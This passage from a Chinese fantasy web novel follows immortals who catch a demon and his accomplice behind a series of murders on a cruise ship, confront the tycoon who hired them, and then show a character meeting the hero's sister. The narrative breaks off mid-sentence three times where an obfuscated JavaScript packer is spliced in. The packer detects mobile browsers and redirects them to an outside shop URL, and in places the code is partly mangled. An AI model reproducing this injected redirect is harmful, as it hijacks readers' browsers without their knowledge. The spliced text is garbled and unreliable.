小女孩又点点头。 “你为什么要这么做呢?” 小女孩伸出手,掌心亮出一团红色的气息,用稚嫩的声音答道:“法力。” “你叫圆圆是吧,你的家人呢?” 颜清辞问。 小女孩摇摇头,脸上现出悲伤。 “那这个‘法力’,是谁教你的呢?” 颜清辞又问。 “一个奶奶。” “这个奶奶现在人在哪里?” “她早就下船了,还叫我不要被人发现。” 林朔这时问道:“你今天为什么会出现在那里?你有没有见过那个跳下水的人?” 圆圆没说话,只是点了点头。 罗晟有些激动,向前一步,追问道:“你见到那人的样貌了?没戴面具的样子?” 圆圆怯生生望了他一眼,又点点头。 “我看见他跟着那对哥哥姐姐进了游泳池,没戴面具。” “看清楚了没?” 罗晟又问。 “嗯。” 林朔朝罗晟点点头,说:“金木水火土,还有火没有完成,那人很可能还会回到船上,他以为我们没见到他的样貌,也不一定会用易容术。” “有什么办法能知道她看见的那人什么样?我们这里又没有画像师。” 萧衍问。 “不用画像师,用窥心咒就可以。” 颜清辞说。 “怎么用?” 颜清辞看了他一眼,说:“比较复杂,你可能学不会,但我可以试试。” 除了萧衍,在场所有人脸上或多或少都露出一丝憋笑的表情。 颜清辞原以为自己废得掉渣,但和这些法力高强的仙魔认识以后,才发现自己对术法的研究,丝毫不逊他们当中任何一人。 她淡淡一笑,又对萧衍说:“不过这个窥心咒比较费灵力,萧老板能不能施舍一二?” “刚损完我又要问我要功德,会不会太不地道了?” “那你给不给?” “给给给!” 萧衍无奈地掏出匕首,划破指尖,在她手心画了符。 收了功德,灵力大增。 颜清辞开始念诵咒文,她张开五指,放在圆圆额前,她的掌前出现一个圆形的光圈,上面印着复杂的图案。 光圈缓缓转动,颜清辞对圆圆说:“现在,你回想一下你看到的那个人的样子。” 圆圆闭上眼,像是用力思考起来。 转动的光圈一闪,像LED屏一样的画面出现在众人面前。画面里,一身黑衣的男人跟在醉酒的那对男女后面,面容清晰可见。 “停。” 颜清辞一推掌,画面定格,大家纷纷拿出手机拍了起来。 颜清辞收回手,长出一口气说:“嚯,没想到这么费灵力呢。” “这窥心咒可是极高明的术法,颜小姐师承何处啊?” 莫君离一脸赞许地问。 “啊,我师父他就是个普通的仙,给人算命的那种,大部分法术都是跟他家里放着的那些书学来的,这么看起来,他确实还有几本好书啊。” 漫长的一天到此结束,几人一商量,还是决定让魏茯苓带圆圆回去暂住。 他们走后,四人组也各自回房休息。林朔和罗晟先上了楼,萧衍拉住走在后面的颜清辞小声说: “颜作家,那个窥心咒很有意思啊,我这功德管够,你也看看我的呗。” 颜清辞警觉地摇摇头,说:“别,我怕看见脏东西。” 听着他在身后爽朗的笑声,颜清辞头也不回地上了楼。 尽管昨夜第一时间向安全部报备了人员落水的消息,但停船寻了半日,还是一无所获,只得继续航行。 船只与陆地失联已逾两日,目前仍无法确定船只行进的方位。 久久未曾靠岸,船上的乘客也感觉到了异常,随处可见躁动不安的人群对着船上工作人员吵得面红耳赤的画面。 由于船上彻底断了网,游轮方也查不到船上人员的身份照片信息。 四人组只得采取最原始的办法,一大清早就开始在船上各个地方肉眼寻人。 毕竟事关人命,他们最终还是和莫君离他们达成了合作,一起找人。 他们走遍了各个娱乐场所,假扮客舱服务员打开一间间客房,还是没有找到那个男人。 令他们头疼的还有最后那一道火的阴谋。遍寻无果,他们回到套房讨论下一步的行动方案,却恰好接到安全部的电话,说是发现有大批救生艇被人刻意放掉了。 罗晟想了一会儿,又给拨了回去,让他们彻底检查船舱的每一个可以堆放物品的角落。 “搞不好,这人谋划的是场大火,到时候很多人都跑不了。” 挂了电话,他神色凝重地说。 一个多小时焦急的等待后,他们接到了调查的结果——在底舱存放杂物的一间储物室里,发现了大批烟花爆竹。 看到实物时,颜清辞倒吸了一口凉气,成堆的易燃物和餐巾、桌布摆放在一起,一旦引爆,后果不堪设想。 他们和几名船员一起,偷偷将这些烟花爆竹扔进了海里。 排除了危险,几人回到甲板上透气。罗晟掏出烟,兀自走到另一头去了。魏茯苓则悄悄跟了过去。 林朔不无担忧地说:“就算没了那些火药,那人多半还是会找其他法子下手。” “他可能还是变换了容貌,我们才找不出。” 莫君离也眉头紧锁。 林朔又说:“我的幻象都困不住他,此人不是一般的高手。” “那个小姑娘确定和他不是一伙的?” 萧衍问。 “不是。” 颜清辞说,“我昨天用窥心咒的时候顺便看了一眼她其他的记忆,那些恶作剧确实是她干的。 她说的那个老奶奶我也看见了,是位仙君,教了她一些法术。我还看到了她的家人,他们是一起上船的,不过更多的我就来不及看了,只有这些。” 远处的罗晟和魏茯苓似乎发生了一点不愉快,女方冷着一张脸朝船舱里去了,高跟鞋蹬得地面当当响。 他抽完烟回来,萧衍忙问:“你怎么惹人家生气了?” 罗晟耸耸肩,淡定地说:“不知道,她问我有没有计划找女朋友,我说没有,就这样而已。” “哎哟……” 萧衍拍了拍他的肩膀,一脸的恨铁不成钢,“你还是单身一辈子吧,一千年以后,还是一光棍。” 到了中午时分,四人在餐厅稍作休整。 “我刚才听服务员说,今天有烤全羊呢。”颜清辞说。 “我可不吃,你又不是不知道那只羊和死人当了好几天室友了。”萧衍嫌弃地皱着眉说。 “我无所谓。”颜清辞不以为然,“我爱吃肉。” “我也无所谓。”林朔也说,“我和死人一起吃的饭比跟活人的还多。” 罗晟喝了口水,什么也没说。 坐了一会儿,莫君离出现了。 萧衍冷冷念了一句“阴魂不散”。 “你们看见茯苓姐了吗?” 他上来便问。 “没有。” 萧衍不耐烦地说。 “她不见了?” 颜清辞问。 “嗯,四处找不到人,电话也关机。” 莫君离说。 萧衍看了一眼罗晟,说:“完了,你真把人惹毛了。” 罗晟选择无视他,问莫君离道:“什么时候开始找不到人的?” “就刚才在甲板上,她走了之后就没再见到。” 萧衍一抬眉毛,一脸“I told you so”(看我说的没错吧)的表情。 “我跟你去找。”罗晟从位子上站了起来。 “啊!罗队长,看你的无妄!”颜清辞指着他腰间轻呼一声。 几人看去,他那无妄上栓着的那个挂饰,正发出微弱的光亮。 “这上面有灵力?”莫君离推测。 罗晟往门口的方向走了几步,挂饰上的光亮骤然消失了。 “这个挂绳,是不是能感应到茯苓姐的位置?离越近感应越强烈?”颜清辞推测道。 罗晟又退了回来,果然,挂饰上的光再次忽闪忽闪亮了起来。 “她就在附近?”莫君离说。 众人向四周张望,搜寻可能藏人的处所。正是午餐时间,中餐厅里人流如织。 大家分头找了一遍,没有发现魏茯苓的踪迹。 挂饰上的光亮,在某些位置忽而变强,挪开一点又忽而转弱。 辗转摸索,在一道门前,光亮停止了闪动,常亮起来。 萧衍拉过一位服务生,问:“这里面是哪里?” “后厨啊。”那人答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17041015|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 颜清辞沉吟片刻,惊道:“火……后厨……糟糕了!” 她推开门,飞奔进去,抓住一名厨师便问:“烤全羊呢?在哪里?“ 那厨子一脸震惊,竟有人为了口吃的勇闯厨房!他将她连连往外推:“不好意思啊,客人,羊才烤上呢,这里是工作区,您不能进来。” 颜清辞顾不上跟他解释,一边甩开他的手一边直视他的眼睛,又问了一遍:“别废话,烤箱呢?在哪里?” 被法术击中的厨子立刻老实下来,呆呆指了指里面,说:“一直走到头就是。” “谢了。” 以颜清辞为首的一行人穿过一排排目瞪口呆的后厨工作人员,来到了巨型烤箱前面。 烤箱表面雾气蒙蒙,看不清里面。罗晟伸手就去开烤箱门,一个主厨模样的人连忙上来阻拦。 “你们干什么!” “滚!”罗晟狠狠瞪了他一眼,那人被他的气势吓得一哆嗦。 在林朔说出“哪里有开关”这句话之前,罗晟已经生生拉开了烤箱门。 一股热浪扑面而来,滚落他怀里的,正是魏茯苓。 她昏迷不醒,好在体内灵力开启了自我保护机制,皮肤只受了轻微的灼伤。 那主厨见此情景,吓得魂飞魄散,连句整话都说不出来了。 “这……这……我……我明明看着……看着那个羊……羊……” 他一会儿指指空气,一会儿指指魏茯苓,几乎要晕厥过去。 萧衍凑到颜清辞耳边,小声说:“你看我说什么来着,今天这羊果真吃不得吧。” 颜清辞顺手从一旁备餐台上抓起一片面包,塞进他嘴里。 “吃东西吧,求你别说话了。” 魏茯苓剧烈咳嗽了几下,莫君离要来一杯水,她喝下去,终于逐渐恢复了意识。 她第一眼便看见了罗晟,开心地笑了。 “罗先生,你来救我啦?” 罗晟轻轻颔首,问:“是我们要找的那个人干的?” 魏茯苓点点头,说:“他真的很厉害,要小心。” 萧衍嚼完那片面包,说:“老罗,你先送魏小姐回去,我们去找那个家伙。他应该就在附近。” “罗先生,我走不动,你抱我回去呗。” 魏茯苓瘫倒在罗晟身上说。 “好。” 罗晟一把抱起她,走了出去。 林朔看着他们的背影,说:“要说我们还有什么地方没找,不就是……” 他跟萧衍对了一个眼神,后者立马心领神会,问那个主厨道:“你现在看一眼,后厨人齐了吗、有没有谁不在的?” 主厨望了一圈厨房里的人,支支吾吾地说:“好像……刚才有个切菜工……挺脸生我不认识……这会儿没见了……” 又一人说:“你说那个新来的吗?他刚出去……” 四人没等那人说完,便追了出去。刚推开后厨门,看见一个戴着厨师帽的人正从餐厅门口跑出去。 萧衍带头冲了出去,若不是顾及餐厅里人多,他恨不能一秒瞬移到门口。 即便是很收着法力了,若是有人掐着秒表,也会发现他这速度已然突破了人类短跑纪录。 他们追到走廊上,四下无人,追捕者和潜逃者都开足灵力飞跑起来。 他们沿着楼梯一路向下,一直追到底舱最末层。 船的尾部徐徐展开,海洋的潮湿气息迎面袭来。一阵引擎的轰鸣声中,一辆快艇从车库里呼啸而出,那人一跃跳了上去。 眼见贼人要跑,萧衍顺势掀起一股巨浪,堵住那船前进的去路。 趁着这个空档,四人已然跑到了跟前,也纷纷登上了快艇。 巨浪退去,快艇疾驰而出,他们这才看清了那人的面目——正是圆圆记忆中的那名男子。 他一张长脸,眉眼也是细长,一副奸邪之象,他笑起来,比如此时,有一种令人不寒而栗的不适感。 “你们这些人,真是比狗追得还紧。” 他周身升腾起深红色的气息,眼里现出杀意。 “你TM才是狗。” 萧衍怒骂一声,又从海里捉起几股浪来,一打响指,海水瞬间凝成尖锐的冰锥,朝那魔飞刺而去。 那魔在手中点燃一团火焰,瞬间将那些冰锥融成水汽。 他冷冷道:“大家出来挣功德都不容易,你们何必要断了我的财路。” 13.闹鬼游轮(七) 萧衍亦冷笑一声,说:“呵呵,如若让你挣着了,那就是断了我们的财路。” 林朔这时已然注意到了这艘船的驾驶员,他低声对萧衍、莫君离和颜清辞说:“开船那个,他的同伙,我在游轮驾驶室见过,他是二副。” “难怪他们能破坏船只的通信系统。” 莫君离恍然大悟,“我还在想呢,让这么大的船完全断网,这得多高的灵力。” 那魔面色一沉,轻轻拨动十指,他的面前出现了一架水做的古琴,七根琴弦丝丝分明,泛着冷光。 他一扫琴弦,水汽凝成无数根冰针朝四人漫天席卷而来。 颜清辞和林朔同时念了护身咒在他们身前形成屏障,萧衍骂了句:“尽整些花活儿。” 一挥手,扬起一阵大风,卷着大部分冰针朝它的发出者打了回去。 那魔面不改色,又轻拨两下琴弦,飞回的冰针随风消散,他随即指尖一捻,海中升起无数冰箭,朝他们射来。 莫君离双臂伸展,在不同平面画了两道半圆弧,然后十指结了一个咒。 铺天盖地而来的透明箭矢瞬间变成了无数只塑料小黄鸭,噼里啪啦掉带他们身上、落到海流之中。 “你这什么法术啊!” 萧衍一遍拨掉脑袋上的小黄鸭,一边吐槽。 “我们仙室山的核心功法,不是操控有形之物,而是用功德驾驭自然之中的无形之物。” 莫君离一本正经地说。 “那你这算是操控的什么?” “微观粒子,它们本身就具有不确定性,严格来说,我操控的是概率。” 萧衍一脸费解:“啥意思?概率?你的意思是,刚才那一下,那些冰箭,有一定概率变成的不是塑料鸭,而是核弹?” 莫君离点点头,继续淡定的语气:“是,但那概率无限趋近于零,我虽然没办法控制变出来的是什么。 但大概率是有害的还是无害的,对敌人攻击还是对自己防御,还是有数的。” 萧衍几乎要别过气去:“大概率……你……” “怎么,你能保证这世上有百分百的事?” 莫君离叹了口气,说,“哎,跟你探讨科学,我也纯属多此一举。” 颜清辞在一旁笑出了声,萧衍被莫君离的话气得想掐人中。 林朔和颜清辞纷纷关了护身咒,朝船头去了。 “他交给你们了。” 林朔拍拍萧衍说,“好好合作,别吵架。” “是我想吵架?” 萧衍一脸的不服气。 颜清辞朝开船那人抛出一根灵力索,他一个急刹跳下驾驶位,船身剧烈一晃,所有人都不得不稳了稳脚下。 海上波诡云谲,幻术的计算难度成指数级增长。 林朔和颜清辞交换了一个眼神,他们一人站定一边,那人手脚忽然被灵力索牢牢缠住,两人各自控制一边。 那人用力一挣,右手挣脱出来,他从腰间掏出一把短刀,三两下切断了桎梏他的绳索。 没待他还击,他已经被包裹进一个水球之中。 林朔朝颜清辞点了点头,他一捏拳,水球内部长出无数根倒刺,朝那人扎去。 他短刀一挥,斩断面前的倒刺,在水球上破出一个洞来。 颜清辞五指并拢,一抽手,那人连带水球同时从甲板上消失了。 过了一会儿,那人攀着快艇的边缘从海里爬了上来。他的头发上还挂着几根海藻,看起来狼狈不堪。 “你自己要往水里跑,怪不得我。” 颜清辞与林朔相视一笑说。 那人显然被激怒了,他一甩手将短刀抛向林朔,人却朝颜清辞扑了过来。 颜清辞用食指在面前画了一道弧,那人面前开启一个拱形入口,出来时却扑到了林朔面前,差点被他自己扔出来的短刀劈成两半。 他反应倒也不慢,一偏头背身接住刀,借势朝林朔劈下去。 林朔如法炮制,也在面前画了一道弧。这一次,那人跑进拱门又没了踪影。 颜清辞飞快窜到船尾,拽起拴锚的铁链,朝着海水抛了出去。 她使劲一扯,从快艇后面飞起的白浪中捞起那只落汤鸡,他此时被铁链牢牢拴住,早已没了反抗的力气。 “颜作家厉害!” 林朔笑着奉承道。 “多亏林先生配合得天衣无缝!” 颜清辞也豪不吝惜赞美之词。 萧衍那边的合作就不见得如此和谐了。 完成小黄鸭传送之后,莫君离双手再次画弧,无数团彩色颜料朝那魔人飞了过去。 可能是没想到世上还有这么别致的攻击方式,对方的防御都显得有些滞后。 他一拨琴弦,用海水冲开大部分颜料,脸上身上却还是沾了几块红红绿绿。他伸手摸了一把脸上的颜料,困惑地说:“有毒么?” 莫君离表情有些尴尬,没说话,萧衍这下来了劲,阴阳怪气地看着他说:“你最好告诉我有毒。” “没有。” “这就是你说的‘大概率’?” “都说了是概率,当然有一定概率抽出来不太好用的武器。” 莫君离淡定地再次画弧,这回,他从面前的空气中抽出两把枪来。 他扔给萧衍一把,说:“漂亮国治安部新研发的好东西,灵力消耗低,伤害高,这回捡着宝了。” 萧衍嫌弃地看了看手里科技感满满的枪,说:“我不怕耗灵力。” “那你继续控制你的海水吧,爱用不用。” 莫君离毫不客气地说,“要是你枪法不行,确实也别糟践了好东西。” “糟践……你TM说谁枪法不行?” 萧衍瞪了他一眼。 莫君离没搭理他,举起枪瞄准那魔便扣动了扳机。连发的灵力子弹像雨点一样朝那魔人射了过去。 那魔也没慌,他两手同时扫过七根琴弦,面前出现了一道水雾做成的屏障,那些子弹射到屏障上,像是被吸收了一般。 萧衍不耐烦地一跃而起,骂道:“早就看你这花里胡哨的玩意儿不顺眼了。” 他几步绕到那魔身后,朝着他的后背射击。 从船身一侧翻过一片浪花,将他的子弹尽数打散。 那魔扶着琴一转身的功夫,萧衍作势瞄准他的眉心,那魔手指飞快穿梭弦上,弹出一段旋律。 下一秒,子弹却击穿了那座水做的琴,七根琴弦崩成无数水花。 这时,莫君离的攻击也加入进来,那魔被逼得连连后退,最后干脆翻下船去了。 他们站在船的边缘,只看见水线之下暗流涌动的海水,四周寂静无声,只有游轮的引擎声从不远处徐徐传来。 “让他去吧,这个抓住了。” 林朔的声音从船尾传来。 他们走到船尾,看见拴船锚的铁链里缠着那个游轮二副。他狼狈地挣扎着,愤愤望着他们。 萧衍居高临下看着他,问:“你们也是收钱替人办事,说吧,雇佣你们的人是谁?” “我说了你们能放了我?” “你们杀了四个人,放你走是不可能的。” “那我凭什么告诉你?” 萧衍露出一丝阴狠的微笑,说:“治安部现在是不允许虐待犯人了,可是我这边……就说不准了。” 他们把人带回游轮,从罗晟那里拿来一条封锁灵力的项圈给那人戴了上去——那可是治安部用来规训仙魔的利器。 萧衍这时已经不知从哪里翻出了一个工具箱,从里面取出一把钳子,在那人面前晃了晃,慢条斯理地说: “你很久都没有感觉到过凡人的痛了吧,想必,耐受度不是很高,不如你现在就告诉我你们背后的雇主是谁……” 他故意夹紧钳子,做了一个扭转的动作,继续说:“不然……一会儿等到一口牙都被我扳下来之后再说的话,就很费劲了。” 那人浑身战栗,硬撑了一会儿,终于松了口:“我说!我说还不行么!” 抓到了暗中捣鬼的家伙,游轮很快恢复了和陆地的通讯,而此时船只已经偏航许久,燃油不足返航,只能暂时停在无边无际的太平洋中间,等待燃油补给船的到达。 此时四人组都在莫君离他们的套房守着魏茯苓的状况。 据罗晟说,她回到房间精神状态还不错,但很快就昏睡过去了。 林朔判断是灵力消耗太多导致的暂时昏迷,修养一阵应该就能恢复。 “要是我们晚到一会儿,说不定茯苓姐还真有生命危险了。” 颜清辞想想有些后怕。 “我不该惹她生气。” 罗晟有些自责地说。 “没办法了,这下你只能以身相许了。” 萧衍拍拍他的肩膀笑着说。 “啊……?” 罗晟欲言又止,满脸的为难。 莫君离拿着两把枪往楼上走,萧衍瞥了他一眼道:“你这不算走私么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056968|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“当然不算,我有仙界理事会的特殊许可。” 莫君离的语气带着几分骄矜。 “特殊许可……切,拽个屁啊。” 萧衍嗤之以鼻。 这时,圆圆不知从哪里冒了出来,拉着颜清辞的胳膊在她耳边小声说了什么。 颜清辞摸了摸她的头,宽慰道:“茯苓姐姐没事,休息休息就好了。” 圆圆又凑到她耳边,听了她这回的话,颜清辞嘴角微微上扬了一下。 “她跟你说了什么呀?” 萧衍问。 颜清辞看了一眼罗晟,笑道:“圆圆说,她看见茯苓姐亲了罗队长的脸。” 罗晟瞬间成了一只熟透的龙虾,连耳根都红了。 “然后呢?” 萧衍一脸看热闹不嫌事大的表情。 “没有然后了,你想啥呢?圆圆只有八岁。” “她的凡人年龄是八岁,实际年龄是几岁谁知道呢。” 萧衍不以为然。 话题到这儿了,颜清辞突然想起什么,对圆圆说:“船靠岸后,你去哪里呢?” 圆圆低下头,小声说:“我不下船,我要在这里等爸爸妈妈还有哥哥来接我。” 颜清辞叹了口气,说:“你一直这样等也不是办法,要不你跟我们下船,姐姐帮你找你的家人?” 圆圆踌躇许久,最后还是点了点头。 从莫君离他们那边出来,萧衍问颜清辞:“你明知道那个小姑娘是被家人抛弃在船上的,为什么还要答应帮她找家人?” 颜清辞道:“如果有万分之一的可能性不是呢?也许她的家人也一直在找她呢?” 萧衍看她的眼神像看小孩子:“你自己也说是万分之一了?她的家人要是有心找她,她还能在船上藏了那么久都没人发现?” “她还那么小,反正我是没办法告诉她那么残酷的现实。” “早点知道这个世界的残酷并不是一件坏事。” 萧衍如此严肃的样子倒是难得,他深邃的眸子像要把颜清辞吸进去似的。 “早点认清现实,才能早些开始新的生活,不是么?人不能总是活在过去。” 颜清辞下意识咽了咽口水,转过脸不再看他:“你好好说话的时候,也有几分道理。” 萧衍这回居然没再说出什么令人眉头一紧的骚话来,颜清辞偷偷瞟了他一眼,发现他正瞧着自己,脸上带着浅浅的笑意。 她脸一红,再次把头撇了过去。 下了船之后,四人组的下一站便是拜访整个五行杀人事件的背后主谋的住处。 实际上游轮捉鬼这一单已经算是完成了——魏茯苓感恩四人组的救命之恩,这单的归属也没有争议。 但不会会这位花重金取人性命的幕后黑手,总觉得还是缺点什么。 雇佣两个魔按照金、木、水、火、土来杀人的是星海集团老总一名关系还不错的朋友,叫郑嘉贤。 也是一位知名的实业家,身价好几十亿,他们还经常在一起打高尔夫。 这位郑董的家在深市闹中取静的山中别墅,一整片广阔的庄园,甚至还有跑马场。 萧衍今天的身份是星海总裁介绍给球友的私人银行顾问,来给郑董提供资产管理服务的。而其余三人,则扮演助理和副手一类的角色。 他们跟着管家模样的老先生一路穿过巨大的花园,道路两旁的草木修剪得圆润齐整,欧式大喷泉上演着优雅的水舞。 他们被带到一间有落地窗的房间,一整面墙摆满了书,另一面墙上挂着一副巨幅画像,上面的少女肤白貌美,笑靥如花。 郑董坐在画像下方的皮质扶手椅里,浅啜一口英国瓷茶杯里的红茶,悠悠开了口:“你们是蔡董介绍过来的,专业度肯定过硬,我就直说我的需求了。” “我想以我女儿的名义专门成立一个信托基金,用于投资一些……特殊的项目。” 说到“特殊”这两个字时,他特别放慢语速以作强调。 “是什么性质的‘特殊项目’?” 萧衍直勾勾看着他问,“是类似于……利用五行来祭祀还魂……这样的项目吗?” 听他这么说,郑董的脸色忽然变了,他从椅子里坐直了身体,警觉地问:“你们到底是什么人?” “我们就是蔡董介绍来的啊,郑董,在人家的船上搞了这么大的事出来,总得给人家一个交代吧?” 萧衍说。 “你们……已经知道了?” 14.闹鬼游轮(八) 萧衍看了一眼他背后的画像,说:“令爱几年前就去世了吧,你雇人去蔡董的游轮上杀人,现在又想成立基金投资的目的,应该是想……让她起死回生?” 郑董的瞳孔剧烈收缩,脸上出现一丝慌张:“你……你们……” 萧衍平静地说:“就算集齐了金木水火土五种死法的人,也是招不回你女儿的魂魄的。那只是骗人的邪书上胡写的昏招。人死魂灭,想让死人复活,比登天还难。” “那就去登!” 郑董大吼一声,脸上的表情有些扭曲,“凯璇她才十七岁!只要能让她回来,登天又有什么难的,我有的是钱!” 萧衍看着他癫狂的样子,轻轻叹了口气:“你成立那个基金,是想投那种能捕捉魂魄的装置吧? 不瞒你说,那东西,我也有一个客户投过,完全是个骗局,亏得他家都不认得。” “我不管!这个不行再投别家,总之我要我的凯璇回到我的身边!” 郑董歇斯底里地嘶吼起来。 “你们不是什么私人银行吧?你们有没有办法让我的女儿活过来?我愿意出钱,多少钱都愿意……” 萧衍冷冷地说:“你的钱在我这里没有价值,这个世上,也没有人能让你女儿起死回生。” “滚!” 郑董大喝一声,“你们不行,总有人行!不行就滚!滚!滚出去!” 四人组互相递了个眼色,起身朝外走。 漫步在豪宅花园里,四人的脚步不觉比从屋子里出来那会儿放慢了些许。 “萧老板,真的没有令人起死回生的法术么?” 颜清辞顺手捡起一朵掉落在花坛边的蔷薇问萧衍道。 萧衍拿过那朵蔷薇,枯黄萎缩的花瓣在他手里再次充盈绽放。 他将焕发新生的花朵递还给颜清辞,悠然说: “有,只是万物自有其运行的法则,逆势而为,并非不可,只是……需要付出代价。” 他的另一只手上,此时多了一段树枝,上面的树叶瞬间枯萎凋敝。 颜清辞伸手去要那段枯枝,比着另一只手的鲜花,若有所思地看了许久。 萧衍取走枯枝,笑道:“颜作家喜欢花,一段树枝而已,这点代价不算什么。” 这时,一旁的林朔开了口:“不过,复活一个人所要付出的代价,可就不是一般人能承受得起的了。” 颜清辞感觉到萧衍和林朔之间有一个很微妙的眼神交流。 然后他俩像是达成了某种默契似地丝滑地聊起了一件别的事来。 游轮这一单圆满完成,颜清辞又回到平淡的码字日常。 虽然欠了很多稿,但现在毕竟有了更稳定的功德来源,卡文的焦虑消减了许多。 傍晚五点,她正准备点晚餐的外卖,手机响了。 是萧衍。她犹豫了片刻,还是接了。 「请问是‘白玉菇’太太吗?」 令她意外的是,电话那头并不是那只狂拽酷炫的花孔雀的声音,而是一个甜甜的女声,带着一丝羞怯。 “你是?” 「真的是你吗?太太!我……我叫萧念,是……」 女孩的话音激动得打颤。 “你是萧衍的妹妹?” 颜清辞没想到,他嘴里那个“十六岁的妹妹”,居然是真实存在的。 「啊!是我是我!太太你真的是我哥的朋友呀!」 “呃……算是同事吧。” 太太,一会儿你有空吗?我可以请你吃顿饭吗?我真的很喜欢看你的文!」 “这……不太方便吧,你还是学生吧,应该把重心放在功课上,不该看这些大人看的书。” 太太!我就是期末考了全A,才给你打这个电话的,你就当鼓励鼓励我,我以后学习才更有劲儿啊。」 软磨硬泡,这兄妹俩的确是有点DNA在身上的。 “你真考了全A?” 「如假包换,太太我拿我的手机加了你微信,你通过一下,我现在就给你发成绩单。我哥要从健身房出来了,先不聊了哈,加我微信太太,求求求求了……」 对方匆匆挂断了电话,微信上果然发来一条好友验证信息。 她加了这个叫“锅包柚”,头像是一只胖猫的中二少女。 对方先是夸夸夸甩过来几张全A成绩单,然后是几个得意洋洋的表情包。 「锅包柚:太太和我一起吃饭吧!(???ω???)」 犹豫再三,颜清辞回:「菇菇:你哥不去吧?」 「锅包柚:包不去的太太!(??????)??」 接着,她飞快发来一个餐厅的地址: 「锅包柚:太太,我现在就出发了,希望能见到太太本尊…… P.S. 我可是一个弱小无助的未成年少女,太太一定不会放心大晚上让我一个人等在外边的吧 (???^???)?(?????)?」 颜清辞无奈,只得换衣裳出门。 到了地方,刚进餐厅门,就看见一个高中生模样的元气少女从卡座上探出头来,朝她拼命招手。 “白玉菇太太!” 娇俏的脸庞上嵌一双顾盼生姿的大眼睛,笑起来嘴角一对梨涡,隐约有几分萧衍的影子。 颜清辞红了脸:“别这样大声爆马甲……我写那玩意儿,难道光彩吗?” “哦哦哦!” 萧念比了个OK的手势,连忙降低了嗓音,“懂的懂的,太太!” “我叫颜清辞。” 她在她对面坐下,“先说好,今天我请客,没有让小孩子买单的道理。” “我不是小孩子!我都快十七岁了!” “那不还是弱小无助的未成年?” 萧念憨憨笑了,托着腮看她,满眼都是星星: “我真没想到,自己的偶像就坐在我面前,而且,还是这么漂亮的姐姐。” “偶像……至于吗?讲真,小朋友,你真不该看那些废料。” 萧念忽然坐直了身子,义正辞严起来:“怎么是废料呢!太太,我喜欢你的文,可不只是爱看那些……咳咳,香香肉……我是真的觉得你的故事、立意、格局都超棒!太会写了!” 第一次被读者这样当面夸赞,颜清辞多少有些不好意思。 她局促地挠着手背:“你小小年纪,懂什么……立意……格局什么的……” 萧念撅起嘴,显然有些不高兴。 “怎么不懂了!我还以为姐姐你能写出那样的文字,一定会理解我的,没想到你也跟我哥一样,整天瞧不起人……” 看小姑娘快哭出来,颜清辞赶忙说:“我不是那个意思……我不知道你哥怎么样,总之,我不会瞧不起你。” 萧念一听这话,脸上又立马绽开笑容:“我就知道我不会看错人的!” 颜清辞仔细端详了她一阵,总算问出了心里的疑问:“那个……你今年几岁了?” “十六啊。” “我是说……” 她摇了摇头,“算了,当我没问。” 萧念直视她的眼睛:“哦,你问的是这个……” 她压低嗓音,凑到她跟前说:“姐姐,我是凡人。跟我哥那个老东西,不一样。” 尽管有所预料,但听萧念亲口说出来,颜清辞还是有些意外。 “你也没有在修炼吗?” 小姑娘不屑地撇撇嘴:“当然没有,我又没灵纹,修也不一定能修成,当凡人挺好的,反正有我哥养我一辈子。” 基因确实是彩票,纵使萧衍的父母是法力高强的大仙君,也是有可能生出普普通通的凡人娃。 点的菜陆续上来,萧念大快朵颐,还不忘和颜清辞聊天。 “所以姐姐你是仙吗?” “嗯。” “你跟我哥怎么认识的啊?” 她一时语塞,勉强糊弄道:“就……一起在渡了么接单认识的。” “哦,我哥那个人可烦了,管东管西。” “他也是为你好,比方说,你现在还小,是不应该看我写的那些文。” “哼,我可不小了,他就是自己谈不上恋爱,老光棍一个,还不许我看言情小说!” 颜清辞忽然想起林朔说过萧衍喜欢的那个人已经去世的事,一下子不知该如何接话。 沉默片刻,她又问萧念:“今天你出来找我吃饭,你哥哥知道吗?” 小姑娘一抬眼:“他管得着吗!” 颜清辞叹了口气:“一会儿我送你回家,天都黑了,你一个高中生在外面不安全,你是知道的吧,这世上牛鬼蛇神到处都是。” 晚饭后,两人打车回萧衍的家。 他家是申海市区黄金地段的一栋花园洋房,隔着铁门能看见巨大的院子。 “清辞姐姐,进去坐坐呗。” 萧念热情地招呼道。 她跟着她走进铁门,一眼就看见院子里那棵大槐树,虬枝苍叶,直攀到洋房三层的阳台。 走进屋内,四下寂静无声。 “你哥不在家吗?” 萧念给她拿来一瓶冰镇饮料,表情冷淡:“在,不用管他。” 说话间,楼上传来一声巨大的闷响,颜清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069292|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞抬头,轻轻蹙眉。 